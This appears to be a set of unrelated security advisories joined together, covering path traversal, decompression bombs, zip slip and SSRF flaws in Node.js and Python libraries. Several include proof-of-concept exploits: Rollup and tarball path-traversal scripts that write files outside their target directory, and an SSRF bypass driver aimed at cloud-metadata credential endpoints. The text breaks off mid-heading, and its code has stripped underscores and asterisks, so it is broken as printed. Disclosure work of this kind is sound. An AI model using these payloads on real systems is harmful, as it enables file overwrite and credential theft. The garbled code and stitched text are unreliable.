The basic-ftp FTP client library for Node.js contains a path traversal vulnerability (CWE-22) in versions prior to 5.2.0 in the downloadToDir() method. A malicious FTP server can send directory listings with filenames containing path traversal sequences (../) that cause files to be written outside the intended download directory. Version 5.2.0 patches the issue.
Summary
The getSecretKey template function, while introduced for senhasegura Devops Secrets Management (DSM) provider, has the ability to fetch secrets cross-namespaces with the roleBinding of the external-secrets controller, bypassing our security mechanisms.
This function was completely removed, as everything done with that templating function can be done in a different way while respecting our safeguards (for example, using sourceRef like explained here: https://github.com/external-secrets/external-secrets/issues/5690#issuecomment-3630977865)
Impact - Cross-namespace secret access: Attackers or misconfigured resources could retrieve secrets from namespaces other than the one intended. - privilege escalation: Unauthorized access to secrets could lead to privilege escalation, data exfiltration, or compromise of service accounts and credentials.
Resolution
We removed the incriminated templating function from our codebase. All users should upgrade to the latest version containing this fix.
Workarounds
Use a policy engine such as Kubernetes, Kyverno, Kubewarden, or OPA to prevent the usage of getSecretKey in any ExternalSecret resource.
Details
See also: - https://github.com/external-secrets/external-secrets/issues/5690 - https://github.com/external-secrets/external-secrets/pull/3895
Impact
urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).
However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.
Affected usages
Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.
Remediation
Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.
If upgrading is not immediately possible, use preloadcontent=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.
Impact
urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.
When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.
The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.
Affected usages
Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.
stream(), read(amt=256), read1(amt=256), readchunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.
Remediation
Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.
If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.
Credits
The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.
Impact
urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.
urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.
However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).
Affected usages
Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preloadcontent=False when they do not disable redirects.
Remediation
Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preloadcontent=False.
If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.
Impact An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.
Patches Pillow 12.1.1 will be released shortly with a fix for this.
Workarounds Image.open() has a formats parameter that can be used to prevent PSD images from being opened.
References Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html
A vulnerability in the packageindex module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.
Summary The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.
Details The vulnerability is caused by the combination of two flawed components in the Rollup core:
1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALIDCHARREGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \). typescript // src/utils/sanitizeFileName.ts (Line 3) const INVALIDCHARREGEX = /[\u0000-\u001F"#$%&+,:;<=>?[\]^{|}\u007F]/g; This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename. typescript // src/rollup/rollup.ts (Line 317) const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName); Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.
PoC A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.
Scenario: CLI Named Input Exploit 1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js). 2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: bash rollup --input "a/../../pwned.js=main.js" --dir dist 3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.
Reproduction Files provided : vulnapp.js: Isolated logic exactly replicating the sanitization and resolution bug. exploit.py: Automated script to run the PoC and verify the file escape.
vulnapp.js js const path = require('path'); const fs = require('fs');
/ REPLICATED ROLLUP VULNERABILITY 1. Improper Sanitization (from src/utils/sanitizeFileName.ts) 2. Unsafe Path Resolution (from src/rollup/rollup.ts) /
function sanitize(name) { // The vulnerability: Rollup's regex fails to strip dots and slashes, // allowing path traversal sequences like '../' return name.replace(/[\u0000-\u001F"#$%&+,:;<=>?[\]^{|}\u007F]/g, ''); }
async function build(userSuppliedName) { const outputDir = path.join(dirname, 'dist'); const fileName = sanitize(userSuppliedName);
// Vulnerability: path.resolve() follows traversal sequences in the filename const outputPath = path.resolve(outputDir, fileName);
console.log([] Target write path: ${outputPath});
if (!fs.existsSync(path.dirname(outputPath))) { fs.mkdirSync(path.dirname(outputPath), { recursive: true }); }
fs.writeFileSync(outputPath, 'console.log("System Compromised!");'); console.log([+] File written successfully.); }
build(process.argv[2] || 'bundle.js');
exploit.py py import subprocess from pathlib import Path
def runpoc(): # Target a file outside the 'dist' folder pocdir = Path(file).parent maliciousfilename = "../pwnedbyrollup.js" targetpath = pocdir / "pwnedbyrollup.js"
print(f"=== Rollup Path Traversal PoC ===") print(f"[] Malicious Filename: {maliciousfilename}") # Trigger the vulnerable app subprocess.run(["node", "poc/vulnapp.js", maliciousfilename])
if targetpath.exists(): print(f"[SUCCESS] File escaped 'dist' folder!") print(f"[SUCCESS] Created: {targetpath}") # targetpath.unlink() # Cleanup else: print("[FAILED] Exploit did not work.")
if name == "main": runpoc()
POC rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwneddesktop.js=main.js" --dir dist
<img width="1918" height="1111" alt="image" src="https://github.com/user-attachments/assets/3474eb7c-9c4b-4acd-9103-c70596b490d4" />
Impact This is a High level of severity vulnerability. Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorizedkeys, .bashrc, or system binaries if the build process has sufficient privileges. Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase. User Impact: Developers running builds on untrusted repositories are at risk of system compromise.
Last updated 1 May 2025
Impact
Black writes a cache file, the name of which is computed from various formatting options. The value of the --python-cell-magics option was placed in the filename without sanitization, which allowed an attacker who controls the value of this argument to write cache files to arbitrary file system locations.
Patches
Fixed in Black 26.3.1.
Workarounds
Do not allow untrusted user input into the value of the --python-cell-magics option.
Summary
On Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.init and the posixpath-based normalization in TemplateLookup.gettemplate(), allowing reads of files outside the configured template directory.
Details
The root cause is a mismatch between posixpath (used for URI normalization in gettemplate()) and os.path (used for file access via os.path.isfile() and validation via os.path.normpath() in Template.init). On Windows, os.path is ntpath, which treats \ as a path separator, while posixpath treats it as a literal character.
The vulnerability chain:
1. gettemplate() strips only leading / via re.sub(r"^\/+", "", uri) and normalizes with posixpath — backslash \ is treated as a literal character, so \..\ secret.txt passes through with .. undetected. 2. Template.init() validation uses os.path.normpath() — on Windows this resolves \..\ secret.txt to \secret.txt, which does not start with .., so the startswith("..") check passes. 3. os.path.isfile() on Windows interprets \ as a path separator, resolving the .. traversal and finding files outside the template directory.
Affected code
- mako/lookup.py: TemplateLookup.gettemplate() uses posixpath.normpath/posixpath.join for path construction but os.path.isfile() for existence check - mako/template.py: Template.init() URI validation uses os.path.normpath() which on Windows resolves backslash traversal to a form that passes the startswith("..") guard
Impact
If an application passes user-controlled template names or include paths to TemplateLookup.gettemplate(), an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.
Remediation
The fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.
Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummydir/../../etc/passwd become ../../etc/passwd. Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummydir/inner.tar.gz, where the inner.tar.gz includes a traversal dummydir/../../config/.env that also gets translated to ../../config/.env.
The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/vendor/jaraco/context.py#L55-L76 (inherited)
This report was also sent to setuptools maintainers and they asked some questions regarding this.
The lengthy answer is:
The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.
The short answer is:
If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.
Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" />
Details
The flow with setuptools in the mix: setuptools.vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|') as tf: > tf.extractall(path=targetdir, filter=stripfirstcomponent) > stripfirstcomponent (Vulnerable)
PoC
This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools.vendor.jaraco.context import stripfirstcomponent
def createmalicioustarball(): tardata = io.BytesIO() with tarfile.open(fileobj=tardata, mode='w') as tar: # Create a malicious file path with traversal sequences maliciousfiles = [ # Attempt 1: Simple traversal to /tmp { 'path': 'dummydir/../../tmp/pwnedbyzipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwnedviatmp' }, # Attempt 2: Try to write to home directory { 'path': 'dummydir/../../../../home/pwnedhome.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwnedviahome' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummydir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwnedescaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummydir/legitimatefile.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for fileinfo in maliciousfiles: content = fileinfo['content'] tarinfo = tarfile.TarInfo(name=fileinfo['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content))
tardata.seek(0) return tardata
def exploitzipslip(): print("[] Target: setuptools.vendor.jaraco.context.tarball()")
# Create temporary directory for extraction tempbase = tempfile.mkdtemp(prefix="zipsliptest") targetdir = os.path.join(tempbase, "extractiontarget")
try: os.mkdir(targetdir) print(f"[+] Created target extraction directory: {targetdir}")
# Create malicious tarball print("[] Creating malicious tar archive...") tardata = createmalicioustarball()
try: with tarfile.open(fileobj=tardata, mode='r') as tf: for member in tf: # Apply the ACTUAL vulnerable function from setuptools processedmember = stripfirstcomponent(member, targetdir) print(f"[] Extracting: {member.name:40} -> {processedmember.name}") # Extract to target directory try: tf.extract(processedmember, path=targetdir) print(f" ✓ Extracted successfully") except (PermissionError, FileNotFoundError) as e: print(f" ! {type(e).name}: Path traversal ATTEMPTED") except Exception as e: print(f"[!] Extraction raised exception: {type(e).name}: {e}") # Check results print("[] Checking for extracted files...")
# Check target directory print(f"[] Files in target directory ({targetdir}):") if os.path.exists(targetdir): for root, , files in os.walk(targetdir): level = root.replace(targetdir, '').count(os.sep) indent = ' ' 2 level print(f"{indent}{os.path.basename(root)}/") subindent = ' ' 2 (level + 1) for file in files: filepath = os.path.join(root, file) try: with open(filepath, 'r') as f: content = f.read()[:50] print(f"{subindent}{file}") print(f"{subindent} └─ {content}...") except: print(f"{subindent}{file} (binary)") else: print(f"[!] Target directory not found!") print() print("[] Checking for traversal attempts...") print()
# Check if files escaped traversalattempts = [ ("/tmp/pwnedbyzipslip.txt", "Escape to /tmp"), (os.path.expanduser("~/pwnedhome.txt"), "Escape to home"), (os.path.join(tempbase, "escaped.txt"), "Escape to parent"), ]
escaped = False for checkpath, description in traversalattempts: if os.path.exists(checkpath): print(f"[+] Path Traversal Confirmed: {description}") print(f" File created at: {checkpath}") try: with open(checkpath, 'r') as f: content = f.read() print(f" Content: {content}") print(f" Removing: {checkpath}") os.remove(checkpath) except Exception as e: print(f" Error reading: {e}") escaped = True else: print(f"[-] OK: {description} - No escape detected")
if escaped: print("[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!") else: print("[-] No path traversal detected (mitigation in place)")
finally: # Cleanup print() print(f"[] Cleaning up: {tempbase}") try: shutil.rmtree(tempbase) except Exception as e: print(f"[!] Cleanup error: {e}")
def checkpythonversion(): print(f"[+] Python version: {sys.version}") # Python 3.11.4+ added DEFAULTFILTER if hasattr(tarfile, 'DEFAULTFILTER'): print("[+] Python has DEFAULTFILTER (tarfile security hardening)") else: print("[!] Python does not have DEFAULTFILTER (older version)") print()
if name == "main": checkpythonversion() exploitzipslip()
Output: [+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] [!] Python does not have DEFAULTFILTER (older version)
[] Target: setuptools.vendor.jaraco.context.tarball() [+] Created target extraction directory: /tmp/zipsliptesttnu3qpd5/extractiontarget [] Creating malicious tar archive... [] Extracting: ../../tmp/pwnedbyzipslip.txt -> ../../tmp/pwnedbyzipslip.txt ✓ Extracted successfully [] Extracting: ../../../../home/pwnedhome.txt -> ../../../../home/pwnedhome.txt ! PermissionError: Path traversal ATTEMPTED [] Extracting: ../escaped.txt -> ../escaped.txt ✓ Extracted successfully [] Extracting: legitimatefile.txt -> legitimatefile.txt ✓ Extracted successfully [] Checking for extracted files... [] Files in target directory (/tmp/zipsliptesttnu3qpd5/extractiontarget): extractiontarget/ legitimatefile.txt └─ This file stays in target directory...
[] Checking for traversal attempts...
[-] OK: Escape to /tmp - No escape detected [-] OK: Escape to home - No escape detected [+] Path Traversal Confirmed: Escape to parent File created at: /tmp/zipsliptesttnu3qpd5/escaped.txt Content: [ZIPSLIP] File in parent directory! Removing: /tmp/zipsliptesttnu3qpd5/escaped.txt [+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!
[] Cleaning up: /tmp/zipsliptesttnu3qpd5
Impact
- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files. - Privesc (LOW exploitability) - Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.
Remediation
I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter stripfirstcomponent that skips or sanitizes ../ character sequences since it is already there eg. if member.name.startswith('/') or '..' in member.name: raise ValueError(f"Attempted path traversal detected: {member.name}")
Summary
compliance-trestle 4.0.3 (latest) ships an URLSecurityValidator in trestle/core/remote/security.py to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:
- IPv4-mapped IPv6 literals ([::ffff:169.254.169.254], [::ffff:127.0.0.1], [::ffff:10.0.0.1]) are returned by socket.getaddrinfo as IPv6Address objects; IPv6Address in IPv4Network('169.254.0.0/16') returns False, so the checkblockednetworks and checkprivatenetworks predicates do not match. - IPv4 unspecified address 0.0.0.0 is not in ALWAYSBLOCKEDNETWORKS (which covers 127.0.0.0/8 but not 0.0.0.0/8); on Linux + Docker, 0.0.0.0 routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.
A malicious OSCAL profile referencing one of these URLs in imports[].href or back-matter.resources[].rlinks[].href causes HTTPSFetcher.init and dofetch (which both invoke validator.validateurl) to pass the URL through to requests.get, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with TRESTLEBLOCKPRIVATEIPS=true set) that the validator was specifically designed to block.
Affected versions
compliance-trestle (PyPI) versions <= 4.0.3 are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced URLSecurityValidator; prior releases had no SSRF guard at all.
Privilege required
Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via HTTPSFetcher or SFTPFetcher. The most realistic vector is a malicious OSCAL profile whose imports[].href references one of the bypass URLs; the artifact then flows through trestle href add / trestle import / trestle assemble / trestle author / any workflow that resolves the profile's imports.
Root cause
trestle/core/remote/security.py (4.0.3, lines 56-71 + 156-167):
python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), # IPv4 loopback only ipaddress.ipnetwork('::1/128'), # IPv6 loopback (single address) ipaddress.ipnetwork('169.254.0.0/16'), # IPv4 link-local only ipaddress.ipnetwork('fe80::/10'), # IPv6 link-local ]
METADATAHOSTNAMES = { '169.254.169.254', # IPv4 literal only 'metadata.google.internal', 'metadata.azure.com', '100.100.100.200', }
def checkblockednetworks(self, ipaddr, hostname): for network in ALWAYSBLOCKEDNETWORKS: if ipaddr in network: # IPv6Address in IPv4Network -> False raise TrestleError(...)
Four independent gaps:
1. No IPv4-mapped IPv6 normalization. socket.getaddrinfo('::ffff:169.254.169.254', None) returns an IPv6Address. Python's ipaddress module raises TypeError if mixed types are compared, and the in operator suppresses that to False. The validator never calls .ipv4mapped to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the [::ffff:N.N.N.N] literal.
2. METADATAHOSTNAMES is an exact-string set. The hostname for https://[::ffff:169.254.169.254]/ is ::ffff:169.254.169.254, which is not in the set.
3. 0.0.0.0 is not blocked. 0.0.0.0 is not in any of the four ALWAYSBLOCKEDNETWORKS ranges. On Linux and inside containers, connecting to 0.0.0.0 routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on 0.0.0.0:PORT).
4. DNS rebinding ribbon is only one IP deep. resolvehostname records the first getaddrinfo result set, but a hostname with mixed records can still serve a private IP on the second resolution validator.validateurl(self.url) performs in dofetch. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.
Sibling code paths sharing the same defect: SFTPFetcher.init (lines 359-365 of cache.py) wires the identical URLSecurityValidator and inherits all four gaps.
Reproduction (E2E against pip install compliance-trestle==4.0.3 + local IMDS simulator)
bash 1. Setup mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle python3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's isglobal fix, proving this bypass is isglobal-INDEPENDENT ./venv/bin/pip install --quiet compliance-trestle==4.0.3 ./venv/bin/pip show compliance-trestle | head -2 Name: compliance-trestle Version: 4.0.3
2. Driver cat > e2efull.py <<'PY' import http.server, http.client, socket, socketserver, threading, time, os from urllib.parse import urlparse from trestle.core.remote.security import URLSecurityValidator, getblockprivateipsconfig from trestle.common.err import TrestleError
class IMDS(http.server.BaseHTTPRequestHandler): def doGET(self): body = b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF","SecretAccessKey":"REDACTED","Token":"FAKEIMDSRESPONSE"}' self.sendresponse(200); self.sendheader("Content-Length", str(len(body))); self.endheaders(); self.wfile.write(body) def logmessage(self, a, kw): pass
class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer): addressfamily = socket.AFINET6 def serverbind(self): try: self.socket.setsockopt(socket.IPPROTOIPV6, socket.IPV6V6ONLY, 0) except (AttributeError, OSError): pass super().serverbind()
PORT = 18560 srv = DualStack(("::", PORT), IMDS) threading.Thread(target=srv.serveforever, daemon=True).start() time.sleep(0.2)
validator = URLSecurityValidator(blockprivateips=True) def attempt(label, url, expectblock): try: validator.validateurl(url); verdict, blocked = "VALIDATION PASSED", False except TrestleError as e: verdict, blocked = f"BLOCKED: {str(e)[:80]}", True meta = "(expected)" if blocked == expectblock else "( UNEXPECTED )" print(f"\n[{label}]\n URL: {url}\n Validator: {verdict} {meta}") if not blocked: try: p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3) c.request("GET", p.path or "/"); r = c.getresponse(); print(f" Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close() except Exception as e: print(f" Connectivity: {type(e).name}: {str(e)[:80]}")
Negative controls (validator must block) attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True) attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True) attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True) attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True) Bypasses (validator should block, but does not) attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True) attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True) attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True) attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True) srv.shutdown() PY
3. Run ./venv/bin/python e2efull.py
Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's isglobal/isprivate reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silently returns False for cross-version comparison), NOT the isglobal predicate. The mechanism is therefore robust to CPython version:
Python: 3.12.13 compliance-trestle: 4.0.3 ::ffff:169.254.169.254 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:127.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:10.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False
[NEG-1: literal 169.254.169.254] URL: https://169.254.169.254:18560/latest/meta-data/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se (expected)
[NEG-2: literal 127.0.0.1] URL: https://127.0.0.1:18560/admin Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi (expected)
[NEG-3: metadata.google.internal] URL: https://metadata.google.internal:18560/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi (expected)
[NEG-4: literal 10.0.0.1 RFC1918] URL: https://10.0.0.1:18560/admin Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i (expected)
[BYPASS-1: IPv4-mapped IPv6 cloud-metadata] URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: TimeoutError: timed out
[BYPASS-2: 0.0.0.0 reaches localhost] URL: https://0.0.0.0:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'
[BYPASS-3: IPv4-mapped IPv6 loopback] URL: https://[::ffff:127.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'
[BYPASS-4: IPv4-mapped IPv6 RFC 1918] URL: https://[::ffff:10.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: RemoteDisconnected: Remote end closed connection without response
(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of isglobal-independence: even with CPython's CVE-2024-4032 fix active (isglobal=False, isprivate=True), the validator's in IPv4Network(...) membership check still returns False, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/::, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)
Negative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass URLSecurityValidator.validateurl() on the latest patched release.
Impact
- SSRF to AWS / Azure / GCP / Alibaba IMDS via https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role> -> short-lived role credentials exfiltrated through the cached fetch. - SSRF to loopback administrative interfaces via https://0.0.0.0:PORT/ or https://[::ffff:127.0.0.1]:PORT/ -> access to local-only admin endpoints (Docker socket on unix://, Prometheus, etcd, Kubelet) that the validator was supposed to deny. - SSRF to RFC 1918 internal services via https://[::ffff:10.0.0.1]/... even when TRESTLEBLOCKPRIVATEIPS=true is explicitly set, defeating the operator's defense-in-depth posture. - The cache-write traversal protection (PathSecurityValidator.validateurlpathforcache + validatecachepath) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.
Suggested fix
Normalize every resolved IP to its canonical IPv4 form before membership checks, and add 0.0.0.0 to the always-blocked set. Diff sketch against trestle/core/remote/security.py:
python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('::1/128'), ipaddress.ipnetwork('169.254.0.0/16'), ipaddress.ipnetwork('fe80::/10'), ipaddress.ipnetwork('0.0.0.0/8'), # IPv4 "this network", reaches localhost on Linux ipaddress.ipnetwork('::/128'), # IPv6 unspecified ]
def canonicalizeip(self, ipaddr): """Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.""" if isinstance(ipaddr, ipaddress.IPv6Address) and ipaddr.ipv4mapped is not None: return ipaddr.ipv4mapped return ipaddr
def checkblockednetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) for network in ALWAYSBLOCKEDNETWORKS: if ipaddr.version == network.version and ipaddr in network: raise TrestleError(...)
def checkprivatenetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) # ... same canonicalization before blockprivateip / warnprivateip
Also add the canonicalized literal to checkmetadataendpoints:
python def checkmetadataendpoints(self, hostname): # Canonicalize bracketed IPv6 literal hostnames before exact-match canonical = hostname.strip('[]') try: canonicalip = ipaddress.ipaddress(canonical) if isinstance(canonicalip, ipaddress.IPv6Address) and canonicalip.ipv4mapped: canonical = str(canonicalip.ipv4mapped) except ValueError: pass if canonical in METADATAHOSTNAMES: raise TrestleError(...)
This mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node undici SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.
Credit
Reported by tonghuaroot.
At a glance
- Actor: attacker who controls the -o/--output argument to trestle author {catalog,profile,ssp}-generate (e.g. via a CI pipeline that derives the output directory from repository-controlled data)
- Primitive: attacker-controlled --output value reaches trestleroot / args.output write sink with only isdirectorynameallowed() (parts[0]-only task-name-collision check), not the PathSecurityValidator.validatelocalpath() guard added by the CVE-2026-46345 fix
- Impact: arbitrary-location file write outside the trestle workspace as the process owner (8.4 High; conservative C:N variant 7.7, still High); with --force-overwrite, the attacker-chosen directory is first recursively deleted shutil.rmtree)
- Precondition: attacker influences the -o argument in a CI/automation pipeline or multi-tenant trestle workspace running these generate subcommands
- Fix: call PathSecurityValidator.validatelocalpath(markdownpath, trestleroot) immediately after building markdownpath in catalog.py, ssp.py, and prof.py, mirroring the existing jinja fix
Overview
